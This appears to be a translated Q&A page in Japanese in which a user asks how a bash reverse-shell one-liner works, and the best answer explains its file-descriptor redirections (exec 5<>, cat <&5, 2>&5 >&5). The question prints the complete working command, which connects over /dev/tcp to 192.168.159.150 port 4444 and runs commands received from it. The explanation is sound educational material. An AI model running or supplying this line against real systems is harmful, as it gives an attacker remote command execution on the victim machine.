このコマンドリダイレクトはどのように機能しますか?

このコマンドリダイレクトはどのように機能しますか?

セキュリティ調査を行っていますが、次のコードがUnixベースのオペレーティングシステムでどのように機能するかを知りたいと思います。

exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done

私は完全に知っていますこのコードは実行します(つまり、ポート4444を介して192.168.159.150のリバースシェルを設定します)、次の部分が何をしているのかわかりません。

  • exec 5<>
  • cat <&5
  • 2>&5 >&5

全体的に、これがどのように組み合わされてシェルを生成するかがわかります。

誰もがこれを説明するのに役立ちますか、それを理解するための正しい方向を教えてください。

ありがとう

ベストアンサー1

クイック概要:

exec 5<>読み書きするために新しいファイルハンドルを開き、名前を付けます。5

cat <&5新しく開いたファイルハンドルから読み込む

2>&5 >&52ファイルハンドル(stderr)とファイルハンドル(stdout)の出力を1ファイルハンドルにリダイレクトします5。この場合、2番目のリダイレクトではファイルハンドル番号が指定されていないため1暗黙的です。

おすすめ記事